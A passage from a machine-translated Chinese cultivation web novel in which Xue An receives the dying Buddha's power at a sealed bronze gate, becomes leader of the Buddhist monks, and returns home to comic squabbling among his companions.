    But Xue An didn''t have the slightest fear, and still galloped forward.


    Because he could feel that in the darkness ahead, there was an unpredictable existence waiting for him.


    This is a very mysterious feeling, because it is a feeling that arises from the depths of spiritual thoughts.


    In fact, Xue An felt it vaguely when he stepped into this city.


    It''s just that this feeling was too weak at the time, and it became clear after the black energy was blown away.


    This is why Xue An entered the cave directly.


    But anyway, one thing is at least certain, that is, this existence is not malicious to itself.


    He flew forward for a cup of tea.


    Suddenly, a ray of light appeared in front of him.


    The light was extremely faint, but it was as dazzling as a sword in this boundless darkness.


    Xue Anlue slowed down a bit, and then galloped towards the bright light with all his strength.


    Although it seems to be very close, this time Xue An spent a whole meal before rushing to the light.


    Then Xue An was stunned.


    Because he had imagined countless kinds of scenes, but he did not expect that what appeared in front of him would actually be such a picture.


    But seeing that a huge bronze gate stood upright in the void.


    The bronze gate was engraved with all kinds of weird runes, full of unspeakable evil.


    Before the bronze gate, there was a monk sitting on the lotus platform, bowed his head and lowered his eyes, as if he had entered concentration. The light before was coming from him.


    And the lotus platform under him was firmly against the bronze door, and it seemed to have grown into one body.


    Xue An stopped and stared at all this.


    At this moment, the monk slowly raised his head, revealing a seemingly ordinary face with infinite charm, then smiled slightly, and slowly said, "You are finally here!"


    The voice is clear and clear but with supreme majesty.


    Xue An took a deep breath, his eyes were as clear as a mirror, and then bowed his hand in a salute, "Xue An, I have seen the Lord!"


    Lord!


    Receiving confession, right omniscience, clear deeds, good death, world interpretation, supreme sergeant, celestial teacher, transfer to husband, etc.


    But people are most used to calling him.


    Buddha!


    That''s right!


    This seemingly unremarkable monk was the one who created the Pure Land Buddha Kingdom with one hand, surpassing the land of virtuous wisdom and going straight to the land of Dharma Yun. Buddha.


    It turns out that this long-lost Buddhist leader has never been far away from the Pure Land Buddha Kingdom, but has been buried deep in this boundless darkness.


    At this moment, the Buddha Xiu was sitting quietly on the lotus platform with a smile, as if he had been waiting for Xue An for a long time.

 Chapter 1942： 0-generation merit, empowerment and re-construction

    "Goodness is good, the Red Lotus Immortal Venerable actually entered the realm of juveniles, and can display the roar of the King Kong lion, suppressing the demons, it is the supreme merit." The Buddha exclaimed with joy.


    Xue An did not respond to these words. Instead, he stared at the bronze door behind the Buddha and slowly said: "Master, you guard in this boundless loneliness, but for this bronze door?"


    The Buddha smiled slightly, "Yes!"


    "Then what''s behind this bronze door?" Xue An raised his eyebrows slightly and asked in a deep voice.


    "Unspeakable, unbelievable, unbelievable existence!"


    Xue An''s eyes flickered slightly, "But where did those demons come from?"


    The Buddha smiled and suddenly said, "Red Lotus Immortal Venerable, do you know why I am waiting for you here?"


    Xue An was silent for a moment, then shook his head, "I don''t know!"


    "You are here, but are you here for the hatred of the Chinese people back then?"


    The brilliance in Xue An''s eyes instantly condenses to the size of a needle, "Yes!"


    "Goodness." The Buddha put his palms together, "Come here, I have a word, you should listen to it."


    Xue An did not hesitate, and stepped forward.


    A lotus petal appeared out of thin air, and then landed on Xue An''s head.


    In an instant, Xue An''s body was shocked, and then his face showed a pensive look.


    After a long time, he slowly raised his head, eyes full of coldness.


    "Since you already knew this, why didn''t you tell me when I was the Immortal Venerable in the last life?"


    The Buddha smiled faintly, "It''s very simple, the opportunity was not there at the time, even if I told you, it would not help."


    "Then the opportunity is here now?"


    The Buddha shook his head, "It''s not a chance, but a catastrophe!"


    "Catastrophe?"


    "Yes!" The Buddha nodded, "Not only you, but the entire heavens will face a catastrophe."


    Xue An was silent because he wanted to digest the words of the Buddha.


    It wasn''t until a long while later that Xue An said quietly: "So you know all this for a long time?"


    "Forget it! At least a long time ago, I have seen all this in the future."


    "Then why don''t you try to change?"


    "Change?" The Buddha smiled, "From the moment the Chinese people succumbed to the catastrophe, everything has long been doomed and no change is allowed. Even me, there is nothing I can do!"


    "I can''t do anything?" Xue An suddenly chuckled, "Since you are powerless to change all of this, why are you guarding the bronze gate here? Even if your own Buddhist kingdom is polluted, you are indifferent?"


    The Buddha smiled helplessly.


    "The Red Lotus Immortal Sure enough, it��s okay to be clever and arguing, that��s right! Even if it��s me, I can��t be completely ignorant. Although I know it��s useless, I still want to do something, even if it��s postponing everything. It doesn''t hesitate, after all...This way, at least many people can be saved."


    Xue An was silent.


    Because he suddenly found himself unable to refute this sentence.


    At this moment, the Buddha raised his head and looked at the bronze door, and said lightly: "Red Lotus Immortal Venerable, you know that I have never despaired from beginning to end, because I can see that all the catastrophes will be yours in the end. Ends in his hands."


    "On your body, you carry the luck of the entire heavens, or...hope!"


    "What about you?" Xue An said suddenly.


    "Me?" The Buddha said with a wry smile, "I have run out of time. Hundreds of years of guarding have made me almost exhausted. That''s why the devilish energy leaked for nearly a hundred years and poisoned all living beings."


    Xue An was shocked and looked at the Buddha in disbelief.


    At this moment, I saw that the Buddha slowly eased the clothes between his chest and abdomen.


    Suddenly, an extremely terrifying scar appeared in front of him.


    The Buddha''s chest and abdomen seemed to be penetrated by some great magical power, and he opened a big hole, and the black air lingered in the hole, and the internal organs were faintly visible, and the void behind him could be seen from the front.


    And this hole is still beating slightly, like a heart.


    "This..." Xue An was shocked beyond words for the first time.


    The Buddha smiled lightly, "Five hundred years ago, this door was just opened. I came here, guarded, and fought a battle with the evil creatures from it. In the end, I won, but the price was staying. Get this scar!"


    Xue An was silent suddenly because he really didn''t know what to say.


    He has supreme power, can suppress all the strong in the heavens, and even the Buddha''s vajra lion roar can condense.


    But at this moment, he felt truly powerless.


    Because he could feel that with the beating of this injury, the vitality of the Buddha was fading a little bit.


    What a cruel punishment this is!


    Staying alone in the darkness, silently enduring intense pain, feeling the passing of life.


    And it will last for five hundred years.


    Such torture, even if the mind is slightly weaker, will completely collapse.


    But the Buddha has been waiting silently for now, until his arrival.


    "Don''t be sad, all this is worth it, after all, I have waited for you, the only life in the dead end of the heavens." The Buddha smiled very happily.


    "What do I need to do?" Xue An said sadly.


    The Buddha shook his head, "Nothing is needed. After I die, I will seal the bronze door with the merits of my centuries of painstaking practice, but no more than ten years at most, the dark power behind the bronze door will come back. So the time you can prepare is only ten years."


    "Ten years? Enough!" Xue An''s eyes flashed brightly, and a thick murderous intent appeared on his face.


    "I believe in your strength, but before leaving, I still want to help you again."


    The words fall, but seeing the Buddha put his palms together, bow his head and chant, "The world is empty, which can contain all things and colors, the sun, the moon and the stars, the mountains, rivers, the earth, springs, streams, vegetation and jungles, the wicked and the good, the evil and the good, the heaven and hell, all the sea , The mountains of Xumi are always in the air, and the human nature of the world is empty.


    Then the Buddha raised his head and exclaimed with joy: "Red Lotus Immortal Venerable, today I will help you re-train your body and go further."


    After that, the Buddha raised his palm and stuck his finger out.


    Xue An shook all over, and then felt a majestic and powerful force coming down, and began to instill in his body madly.


    At the same time, the voice of the Buddha came from his sea of ??knowledge.


    "You have suffered internal injuries and have been fighting again and again, and a Dao heart has loomed cracks. Then you have to relax completely. I will reinvigorate you with the spirit of cultivation for a hundred generations!"


    boom!


    With the words, the divine thoughts like the vast sea rushed to Xue An''s sea of ??consciousness madly. These divine thoughts were full of all the knowledge of the Buddha for thousands of years.


    These things are actually more precious than anything else.


    Because this represents all the experience of a top power.


    Xue Anlian force urged the sea of ??knowledge, absorbing everything frantically.


    In an instant, the instillation of divine consciousness was completed.


    If it hadn''t been for Xue An''s mind, he might have been blown up by such a huge amount of information.


    And when everything returned to silence, Xue An''s body brilliance flickered, and all the previous internal injuries were wiped out, replaced by a steadily rising momentum, and even had a promotion.


    But Xue An didn''t mean the slightest joy, because he knew what it meant.


    really.


    But seeing the pale face of the Buddha , he smiled slightly after meeting Xue An''s gaze, and then said lightly: "I have done everything I can, and I will leave it to you! May you Can be brave and diligent to lead the heavens out of this life and death catastrophe."


    Talk about it.


    Cracks began to appear on the Buddha''s body, which broke apart in a short time, turned into a sky full of brilliance, and flew towards the bronze gate.


    That is the supreme merit accumulated by the Buddha for hundreds of years.


    boom!


    Every glorious arrival makes this bronze door tremble.


    In the end, bright brilliance appeared on this bronze door, and then it was completely sealed.


    When everything returned to silence, the void in front of him became empty, and the previous Buddha was gone.


    Tears loomed in Xue An''s eyes, and finally narrowed his gaze, folded his palms together, and bowed deeply.


    "May the Blessed One go here, happy world, no more fetters!"

 Chapter 1943： The smallpox falls in disorder, and the ground grows with golden lotus

    After speaking, Xue An took a deep look at the bronze gate that was sealed by the Buddha at the expense of himself.


    The ornamentation on the top has been covered by Buddha light, and it has become neutral and peaceful.


    But Xue An knew that this matter was far from over.


    Ten years later, this bronze door will reopen, and no one can predict what will happen then.


    Xue An took a deep breath, and then drew a rune pattern in the air.


    The golden light flashed by, and then it was engraved on the bronze gate.


    In this rune, there is a slight divine mind that Xue An separated, ensuring that if there is any abnormality here, he can feel it in the first time.


    After doing all this, Xue An flew up and flew along the original road towards the entrance of the cave.


    This time, Xue An��s speed was several times faster than before. After all, above the Thousand Sect Profound Society, Xue An��s formation of Qianzong Tianjiao lost his true essence, although his performance was not obvious under the cover of his strong strength, but After all, he suffered a serious internal injury.


    And now after accepting the gift and refining of the Buddha''s mind that day, Xue An not only recovered from his injuries, but also greatly improved his strength.


    In the past, when he was on the road, he was often very powerful, although that would seem very majestic, but in fact most of his energy was wasted.


    But this time it was different. Xue An walked step by step in the darkness like a stroll in a leisurely courtyard.


    And every step taken will span tens of thousands of miles away, and the whole process has not aroused even a trace of brilliance or waves.


    This shows that Xue An''s spirituality has entered a brand new realm.


    Therefore, after only a moment, Xue An rushed out of the darkness and came outside the entrance of the cave.


    When he appeared in front of the group of monks, the monks who had originally meditated and chanted the scriptures were all shocked.


    Because they all felt the boundless breath of Buddha from Xue An''s body.


    This Buddha''s breath was so strong that even after Xue An appeared, the world was shaking.


    Above the sky, countless flowers appeared, and then fell down.


    Golden lotus blooms on the ground, which is breathtaking.


    All the monks were stunned by this scene.


    It wasn''t until a moment later that the old white-browed monk in the lead suddenly exclaimed, "Master!"


    As he said, he stood up and looked at Xue An with excitement, "You... how come you have the breath of the world-honored person?"


    Facing this old white-browed monk''s inquiry, Xue An slowly fell to the ground, silent.


    The white-browed old monk noticed something, his complexion changed suddenly, and then eagerly said: "Sister Xue, you are talking! What happened to the Lord? Why do you have the breath of his elderly?"


    The rest of the monks looked at Xue An eagerly.


    No wonder they were so excited, it was because the disappearance of their leader over the past hundreds of years was like a huge stone, weighing on the heart of every Buddhist practitioner.


    No one knows where the Blessed One is, even if they exhaust all their energy to explore, it still won''t help.


    Unexpectedly, at this time, they felt the long-lost breath of the World Honored from Xue An, how could they not be excited.


    Facing so many eager eyes, Xue An sighed sadly and slowly said: "Your Lord... has fallen!"


    "What?" The old white-browed monk shook abruptly, "This is impossible! The Blessed One is an immortal body, how could it fall? You must be lying to me!"


    By this time, the concentration of the old white-browed monk who had cultivated for a thousand years had disappeared, almost hysterically roaring.


    Xue An smiled bitterly, "I also think I was lying to you, but what I said is true. In order to save the heavens, the Blessed One was willing to sacrifice himself and sealed the bronze gate below, and before dying God''s mind is saved to me!"


    "That''s why... I have such a strong Buddha''s breath!"


    Xue An''s words made the face of the white-browed old monk instantly pale, and the whole person was even more shaky, but still whispered in his mouth: "No... this is absolutely impossible, you must be lying to me..."


    The rest of the monks were even more horrified.


    Without him.


    It is because the news hit them too much.


    Although the Blessed One had disappeared before, at least it still exists.


    And as long as he exists, the roots of the entire Buddha Kingdom''s Pure Land will not be broken.


    Then they have hope.


    But now even the world-honor who founded the Buddha''s cultivation has fallen, so what is the meaning of their existence as monks?


    This is equivalent to a person who has struggled for a whole life, only to find that what he was fighting for turned out to be just a dream.


    This kind of blow is enough to make people collapse on the spot.


    Xue An looked intolerable, but he still recounted what happened below in a heavy tone.


    Because he wanted to let these monks know what the Blessed One had done and what price he had paid.


    As soon as his words fell, the old white-browed monk plopped and fell to his knees, kowtowing at the entrance of the cave in tears.


    "Master!"


    Not only him, but the rest of the monks all knelt to the ground, tears streaming down.


    Xue An did not speak, but stood aside and watched quietly, but inadvertently, his eyes were a little wet.


    He thought he needed to wait for a while, but these monks were much stronger than Xue An imagined.


    I saw the old white-browed monk wiped away his tears resolutely after reciting the death mantra once, and then slowly stood up and looked at Xue An.


    The other monks also stood behind him silently.


    The old white-browed monk did not speak, as did Xue An.


    The atmosphere suddenly became depressed and dull.


    The Guanghua in Xue An''s eyes flickered slightly, and then he wanted to speak.


    But then the old white-browed monk''s behavior greatly exceeded his expectations.


    I saw the old white-browed monk bowed to the ground respectfully and bowed to Xue An.


    Not only him, the rest of the monks were the same, all silently began to worship Xue An three times and nine times.


    Xue An couldn''t help being surprised, "You are..."


    The old white-browed monk said very solemnly: "Xue Shizhu, since the Lord gave you all his divine power before his death, it means that you have inherited his mantle, so now, you are the new Buddha. Master Cultivator!"


    As he said, the old white-browed monk yelled, "We, see Lord Master!"


    Everyone agreed, "We, see Lord Master!"


    Xue Anwan didn''t expect such a situation to happen, but soon he calmed down, took a deep look at the group of monks, and then slowly said.


    "You let me inherit the Pure Land of the Buddha Kingdom, have you ever thought about the consequences?"


    "You have to know that the heavens have at most ten years. During this time, I will gather all my strengths to deal with the unpredictable enemy, and if you treat me as your master, you will also be involved in this storm."


    "Do you think about the consequences clearly?"

 Chapter 1944： Ontology of Buddha in the palm

    As soon as the voice fell, the old white-browed monk raised his head and smiled sadly.


    "Master, the Blessed One disappeared five hundred years ago, and evil things started rampant a hundred years ago. In order to suppress these existences, our core pure land destroyed 90% of the monks. At that time...Have we ever thought about the consequences?"


    "Now the Blessed One does not hesitate to seal the demons with his own penance for a hundred years of merit, in order to save the heavens from fire and water, how can I, as his disciple, hold back?"


    "What''s more..." The old monk with white eyebrows showed a look of anger on his face, "Even if it is to avenge the Blessed One and many senior brothers, I am willing to abandon this body and defend the way!"


    "That''s right! I''m waiting to give it up and defend the way!"


    The monks shouted together.


    Xue An stared at these scrawny monks, but their eyes were as bright as sparks, and finally nodded very solemnly.


    "Okay, then I promise you, following this Buddhist kingdom, solemn pure land!"


    Although the evil things have been temporarily wiped out, the entire core pure land has also been riddled with holes.


    There were fragmented cracks everywhere on the ground. Although the personnel were not harmed, the whole world was almost reduced to ruins.


    Especially those creatures who are controlled and mutilated by the triangular head chip are in urgent need of rescue.


    So the top priority now is to reorganize the mountains and rivers first, and then create the universe.


    At this time, the young man had also walked over, looking at Xue An in awe.


    Although he didn''t know what happened, the status of these monks in the hearts of the core pure land people was extremely high.


    But now, these monks are all looking forward to Xue Anma.


    This also shows Xue An''s strength and status.


    Xue Anchong, an ordinary but courageous young man, smiled slightly, "Don''t be afraid, now all the evil things have been eliminated, and then I will send someone to rescue your parents and other creatures harmed by the chip."


    The boy shook his whole body, looked at Xue An in disbelief, and said in a trembled voice: "Save? You mean my parents are still saved?"


    Xue An nodded, "Although the body has been lost, the spiritual sense is still there. As long as they can be awakened from the endless stimulation, there is still salvation."


    The teenager was already excited and didn''t know what to say, so he could only nod his head vigorously.


    Xue An smiled faintly, then slowly said: "White-browed Arhat!"


    "The disciple is here!" It turned out that the old white-browed monk''s name was Bai-mei Luohan. At this moment, he respectfully replied with the respect of his disciple.


    "You take a few buddhists to follow this young man to the chip cemetery and pull them out with the power of Buddhist thoughts."


    "Yes!" Baimei replied, but soon he said with some embarrassment: "Master, it is not difficult to supercharge them, but these people have already lost their bodies, and their spiritual consciousness must be very weak after such a long period of torture. There is no proper way, it is estimated that these people will have to be dispelled if they come out."


    Xue An smiled faintly, "You are right, so I have prepared this for you!"


    With that, Xue An flipped his wrist, and a crystal clear bead appeared in his hand.


    This bead exudes a soft Buddha breath, which makes people feel peaceful just by looking at it.


    "This is..." The Baimei Luohan was a little surprised.


    Xue An whispered: "This is a small world that I have just condensed with my spiritual sense, and it can accommodate those spiritual senses in it for cultivation."


    With that, Xue An handed it over.


    The white-browed Arhat took the bead with excitement, and couldn''t help but exclaimed after studying it carefully.


    "Really it is an amazing method of creation! It is so cleverly condensed together, dare to ask the leader, what is the name of this bead?"


    "Since spiritual consciousness can be fostered, then call it... Buddha Kingdom in the palm of your hand!" Xue An said with a smile.


    "Buddha in the palm..." The white-browed Luohan muttered to himself, suddenly showing a solemn look on his face, "Master, then I will lead the people!"


    "Go!"


    Baimei Luohan led several monks and left with the boy.


    Xue An cast his eyes on the big hole again, but saw that it looked like a devil''s mouth, ugly and hideous.


    Xue An walked forward, and when he left the ground, lotus flowers appeared under his feet, supporting him into the sky.


    Then Xue An stretched out his hand to paint in the air, and quickly drew a huge talisman seal.


    Xue An held the talisman in both hands, scrolling down.


    Fu Zhuan was flat in the air, and then Xue An let go.


    The Fu Zhuan fell like a meteor, and it continued to grow in mid-air. Before the entrance of the cave had become very large, it happened to block the huge entrance of the cave.


    Then Xue An''s eyebrows drooped, and behind him, a huge Buddha statue suddenly appeared.


    The Buddha statue holds a red lotus in its hand, and a sharp sword stands above the lotus.


    This is Xue An''s ontology nowadays.


    As soon as this phase appeared, the earth shook and the sky bowed its head.


    Countless people who were confused and still didn''t know what happened were also shocked, and then there was a hint of clarity in their eyes.


    At this time, Xue An chanted softly: "With my merits, solemn pure land!"


    boom!


    In an instant, the boundless golden light shines on the world.


    Wherever they passed, everyone looked happy and peaceful, and at the same time the broken ground began to heal, and the collapsed hills were growing again.


    In a short while, the devastated core Pure Land restored its former solemnity and purity.


    Countless awakened people knelt to the ground and worshipped Xue An.


    But this is still not over,


    Xue An looked up at the sky and slammed his palm towards the void.


    Click!


    The shackles that had tightly enclosed the core pure land before turned into powder.


    call!


    Everyone felt as if there was a sudden influx of fresh air, and they couldn''t help but feel refreshed.


    But the one that received the most shock was the Dingzen Temple of Chokala.


    At the moment when the **** was broken.


    Yue Ji, who was meditating in Dingchan Temple, suddenly opened his eyes and looked in the direction of the core pure land with shock on his face.


    "Could this breath be..."


    Then he couldn''t wait to fly up and head straight to the core pure land.


    Not only him, but almost all the monks in Dingchan Temple felt the strangeness.


    The pair of brothers Yuantong Huitong is no exception.


    They were just about to go to the core pure land with Master to see what happened.


    Mu Wushuang and Gong Yunjun anxiously stopped them.


    "What happened? Why did you all fly there?"


    "The core pure land has appeared!"


    "What? Did the adults have news?" the two said in unison.


    "It should have been done by Donor Xue, but we don''t know what happened now."


    Yuantong hurriedly finished speaking, and then flew up with Huitong to catch up with the brothers who took the first step.


    The two women looked at each other, and then invariably went into the air, following Yuantong and the others, flying towards the core pure land.

 Chapter 1945： Sir, is this going to be a monk?

    Although Dingchan Temple is not close to the core pure land, under Yue Ji''s full rush, the scene of Zhancha entered into the core pure land.


    The moment he entered the Pure Land, the horror on Yue Ji''s face couldn''t help becoming more intense.


    And this horror reached its climax after seeing Xue An.


    "Red...Guren-sama, why... how could it be you?"


    Xue An sighed softly, "Why wouldn''t it be me?"


    "But what I just clearly felt was the breath of World Honored One!" Yue Ji said with a stunned expression.


    Xue An shook his head, did not give too much explanation, but directly passed a spiritual thought.


    Yue Ji shook her whole body, and a confused color appeared in her eyes. It was a long time before she woke up, and then she bowed her head and chanted the Buddha''s name with infinite sadness.


    "Nanwuwu Buddha, Lord!"


    As he said, he fell to his knees, crying in the direction of the entrance of the cave.


    Xue An flashed aside and watched quietly, without discouraging him.


    Because he knows how high the position of the Blessed One is in the minds of the Buddhist monks like Yue Ji.


    Now that he suddenly passed away is naturally unacceptable.


    After a long time, Yue Jing just stood up, wiped away her tears, and then bowed down to Xue An again.


    "Disciple, I have seen the leader!"


    Xue An no longer walked away this time, but accepted the worship calmly.


    And this scene happened to be seen by the monks such as Yuantong Zhongtong who came afterwards.


    These people all shook together, completely unaware of what happened.


    But the next moment, when they felt the Buddha''s breath from Xue An, they couldn''t help showing shock on their faces, and then they knelt to the ground involuntarily.


    At this time, Mu Wushuang and Gong Yunjun who followed behind were also shocked.


    The two of them didn''t dare to talk, so they could only step aside obediently, looking at them with shock.


    At this time, Xue An said calmly: "Get up all the time, although I am the leader, but only because the Blessed One is entrusted on his deathbed, so I don''t have to be so polite!"


    Only then did monks such as Yuantong and Zhongtong understand what was going on.


    No wonder they would kneel to the ground involuntarily. It turns out that Xue An has now become the head of the Buddhist cultivation. Naturally, this kind of invisible coercion is not something they can resist.


    After hearing what Xue An said, Yue Ji slowly stood up and said with a serious face: "Master, what are you going to do next?"


    Xue An naturally understood what Yue Ji was asking.


    Don''t look at this great monk who is generous and gentle on the surface, but actually has a grumpy temper.


    Because as the host of the Shoushan Temple, he inevitably has to deal with the heavens. Naturally, he can''t be like the monks in the core pure land. He only knows to practice meditation every day, and his head is a little awkward.


    He must have some temper and means to be qualified for this position.


    So after knowing the ins and outs of this matter, especially after hearing that the Blessed One had sacrificed for it.


    Yue Ji couldn''t help holding a breath in her heart, thinking that she could kill all the demons as soon as possible and avenge her master.


    Xue An only smiled faintly upon hearing this, "Next?"


    "Don''t worry, you will know when the time comes!"


    At this moment, Baimei Luohan also returned with someone.


    In his palm, he held the Buddha Kingdom in the palm.


    And the young man was full of excitement.


    "Master, fortunately, I have already saved all the chips, and now all spiritual consciousness is fostered in this Buddhist kingdom."


    "Very good!" Xue An nodded, "Then you wait and guard here first, and I will go back!"


    After all, Xue An''s figure suddenly faded, and then disappeared in place like a wisp of blue smoke.


    His sudden disappearance made everyone present stare at each other.


    "What did the leader do?" Baimei Luohan said in amazement.


    "Who knows, but since the leader said to go and go back, he should be back soon! And..."


    Yue Jing said, and looked at the white-browed Arhat with a smile.


    "Brother Bai, long time no see!"


    Baimei Luohan also smiled, "Junior Brother Yueji, long time no see!"


    "Are you left with so many acquaintances?"


    "Yes, I''m the only one left!" Baimei Luohan said sadly.


    Yue Ji was silent for a moment, and suddenly said: "It seems that people who are incapable are living longer!"


    Baimei: "..."


    And Gong Yunjun, who was hiding by the side, really couldn''t help it at this time, and said softly: "Sister Wushuang, what''s the matter with your lord? Is it to be a monk?"


    With that, Gong Yunjun''s face was full of worry.


    Mu Wushuang took a sip, "Bah! What nonsense, how can a person like an adult become a monk?"


    "Then why are so many monks kowtow to him? Take a look at the big monk, the young monk, and the old monks all together, and they are about to become a monk''s nest!" Gong Yunjun muttered softly.


    "That doesn''t prove that the adults are going to be a monk! Didn''t they all call the adults the leader? Maybe the adults did something important to become the leader of these monks!" Mu Wushuang said very calmly.


    Having said that, there is a hint of worry in her eyes.


    Of course not because of the naive question of whether Xue An will become a monk.


    But she vaguely felt a cold breath, as if some indescribable existence in the darkness was approaching.


    Sir, what is this going to do?


    When everyone was disturbed by Xue An''s sudden departure, they were in the small building with treasures.


    Think and Niannian, the two little girls sitting opposite each other, are playing backgammon.


    And behind them, Xiaosha and Zhang Xiaoyu were standing separately, and they were quarreling very hard.


    "No, right? Think you can''t play like that, then you will lose!" Xiao Sha roared anxiously, and then reached out to grab the chess piece.


    "Master Xiaosha, how can you be like you? Why are you still playing chess? Are you playing chess or Missy playing chess?" Zhang Xiaoyu said.


    Xiao Sha glared, "What? You are allowed to do it, and I am not allowed to play chess?"


    "Look at what you saidWhen did I do it? Right, Miss Er?" Zhang Xiaoyu said without showing any weakness.


    "Did you still say no? It was the move that you clearly pointed to Nian just now, otherwise you would have lost!"


    "But I didn''t do it either? Besides, isn''t it okay to give pointers? It''s better than you yelling behind the eldest lady for a long time, you still have to lose!


    "Oh, you dare to talk to me in this tone. It seems that you are really tight. If you don''t teach you, you don''t know who is the boss!"


    Xiao Sha stroked his arms and rolled his sleeves, staring at Octopus "murderously".


    Zhang Xiaoyu stepped back with some guilty conscience, but immediately thought of something and couldn''t help but puff up his chest.


    "What? Didn''t I tell the truth? And I played chess for the second lady. If you dare to beat me, you will be disrespectful to the second lady! Right?"


    As he said, Zhang Xiaoyu looked at Nian Nian with a smile on his face.


    Compared with the excitement of Xiaosha and Zhang Xiaoyu, the two "parties" were very calm.

 Chapter 1946： 2 live treasures

    Even when facing the question of Octopus, Nian Nian yawned boredly.


    "Sister, playing chess is so boring, let''s go find the ball and play!"


    "Go! It just so happens that I was a little tired sitting too!"


    With that, the two little girls stood up and walked out arm in arm, leaving only Xiaosha and Zhang Xiaoyu staring at them.


    A moment later, a flattering smile appeared on Octopus''s face.


    "Master Xiaosha, are you thirsty, I''ll pour you a glass of water?"


    As soon as the voice fell, Xiao Sha raised his hand and knocked on the head of Zhang Xiaoyu, and said bitterly.


    "I asked you to pour water, I asked you to pour water, dare to laugh at me... I let you pour water!"


    "Oh! Ouch! Master Xiaosha, I dare not ahhhhhhhhhhhhhhh!" Zhang Xiaoyu cried out again and again, and then ran out.


    At this moment, Chan''er walked in from the outside with a small basket on her back.


    Zhang Xiaoyu saw the life-saving straw, and immediately ran behind Chan''er, and exclaimed: "Sister Chan''er, save me, Master Xiaosha is in a hurry!"


    "What are you talking about? Which eye did you see that I was eager to lose?" Xiao Sha was so angry that she was going to bypass Chan''er to catch Zhang Xiaoyu.


    Zhang Xiaoyu was so scared that she dodged Chan''er by the shoulders from behind, using Chan''er as a shield.


    Even so, they still couldn''t stop the two of them.


    "You have the ability to come out, what is the ability to hide behind Sister Chan''er?"


    "I won''t go out, you have the ability to come in!"


    Chan''er was already quite familiar with this, she couldn''t help sweeping the hair around her ears, and then said softly.


    "Okay, okay, don''t make trouble, they are all so old, how can they be like a kid! I just picked some fresh wild vegetables from outside, and I will make dumplings for you later, okay?"


    Hearing this, Zhang Xiaoyu immediately poked his head out from behind, and said with bright eyes: "Okay, okay, I love the dumplings made by Sister Chan''er!"


    As she talked, the saliva in her mouth almost came out.


    Xiaosha couldn''t help but sneered when she saw this, "Look at you for what you are!"


    "Hehe, you don''t seem to like it! I didn''t know who drank all the dumpling soup last time!"


    "You..." Xiao Sha stared straight at him with anger, but immediately thought of something, and gave a deep salute to Chan''er with a serious face.


    "Sister Chan''er, I hope you can cook one more pot this time, because last time... I really didn''t eat enough!"


    "Me too!" Zhang Xiaoyu immediately agreed.


    Chan''er was so dumbfounded by these two life treasures that she nodded helplessly, "Okay! Then you will go back to pick some wild vegetables now, I''m afraid this is not enough!"


    Before the words were over, Xiao Sha and Octopus were gone.


    Chan''er was wondering.


    Then he heard a shout from outside.


    "Sister Chan''er, do you think these are enough?"


    When the words fell, I saw Xiaosha flying over a small hill on her shoulders, and when she got closer, she threw the hill down.


    boom!


    The smoke was everywhere, and the hill fell to the ground.


    Xiao Sha clapped his hands and said with a smug expression.


    "I think there are many wild vegetables on this hill, so I brought it back. Isn''t this enough?"


    Chan''er looked at the hill that appeared in the courtyard with a dull expression, just about to speak.


    I saw Zhang Xiaoyu flying over from a distance with teeth and claws, while flying vaguely shouting in his mouth.


    "Let''s give up, let''s give up! I''m not responsible for whoever I meet!"


    Only then did people see clearly.


    All kinds of weeds curled in her tentacles, even with a bundle in her mouth.


    When it was over the yard, Zhang Xiaoyu threw the things in his hands to the whole yard, and vomited the things in his mouth, and then said with a smile.


    "Sister Chan''er, I think a wild grass is very beautiful, there should be a lot of wild vegetables in it, so I brought it back together, it should be enough!"


    Chan''er''s mouth twitched and her eyes were dull, she didn''t know what to say.


    And it was at this moment that An Yan, who heard the noise, ran out of the house, and when she saw the scene in the courtyard, she couldn''t help screaming even though she was always gentle.


    "The yard I just cleaned up... Xiaosha, Zhang Xiaoyu, you two will clean it up for me again! Otherwise, you are not allowed to eat!"


    Faced with An Yan''s scolding, the two stood obediently in the air, not even daring to run, bowed their heads and admitted their mistakes: "Yes! Your mistress!"


    At this moment, only a faint laughter came from a distance.


    "Who makes my Yan''er so angry?"


    Following the voice, I saw Xue An''s figure gradually appearing in the air, and then looked at An Yan with a smile on his face.


    As a result, An Yan''s reaction was far beyond his expectations.


    I saw An Yan''s mom, then covered his face with both hands, turned his head and ran into the house.


    Xue An was taken aback.


    At this time Xiaosha and Zhang Xiaoyu flew over quickly.


    "grown ups!"


    "the host!"


    Xue An ignored them, but gave a light command, "Clean up the yard!"


    After that, he walked into the house.


    But when she passed by Chan''er, Xue An still smiled and said to her: "Chan''er''s strength has improved again!"


    Chan''er blushed, then lowered her head, and said like a mosquito: "Master!"


    Xue An nodded, and then disappeared behind the door.


    Xiao Sha and Zhang Xiaoyu looked at each other.


    "What are you doing in a daze? Hurry up! Now even the boss has spoken. If we don''t clean up, let''s wait and be beaten!" Zhang Xiaoyu smiled bitterly.


    Xiao Sha stopped quarreling, and started to tidy up.


    But soon, she couldn''t help but ask in a low voice.


    "Hey, why did the mistress run away after seeing the master?"


    "I don''t know, maybe I''m playing hide and seek with adults!"


    "Hide and seek?" Xiao Sha''s eyes widened.


    "Yeah, I heard people say there is another name for this, what is it called... fun, yes! It''s fun! I don''t understand why playing hide-and-seek is called fun?"


    "I don''t understand, it looks like women are in trouble."


    "agree!"


    Chan''er couldn''t help but laugh from the sidelines but she didn''t dare to laugh, so she could only cover her mouth tightly, making her tremble.


    "Huh, sister Chan''er, what are you shaking? Are you uncomfortable?"


    "Yes, if you feel uncomfortable, go and rest quickly, otherwise how can you make dumplings later!"


    Chan''er was angry and laughed, gave these two treasures a blank look, turned around and left.


    Octopus and Xiao Sha looked at each other.


    "Look, what I just said is correct, women are really troublesome!"


    "Master Xiaosha is right! It seems that our monster clan is still good!" Zhang Xiaoyu sighed.


    At this moment, it was in the bedroom on the second floor.


    Xue An looked at An Yan with red cheeks, and said with a smile, "Yan''er, what did you just run for?"


    "I..." An Yan turned her head shyly, "I didn''t even comb my hair just now, it''s really shameful!"

 Chapter 1947： As long as 1 year, as short as 1 month

    Xue An was ridiculous, "What a fool!"


    With that, Xue An stepped forward and took An Yan in his arms.


    An Yan screamed, and then buried his face in Xue An''s chest, obediently like a kitten.


    Xue quietly sniffed the fragrance in An Yan''s hair, and did not speak.


    The room was quiet.


    After a long time, An Yan struggled and raised his head, "Husband, are you leaving?"


    Xue An raised his eyebrows slightly, "Why do you say that?"


    "Because you sell dog food to readers every time you leave!" An Yan put out his tongue naughty and said with a grin.


    Xue An was startled slightly, "Am I like this? Why don''t I know?"


    "Of course there is! As for why you don''t know... because you are a big pig''s hoof!"


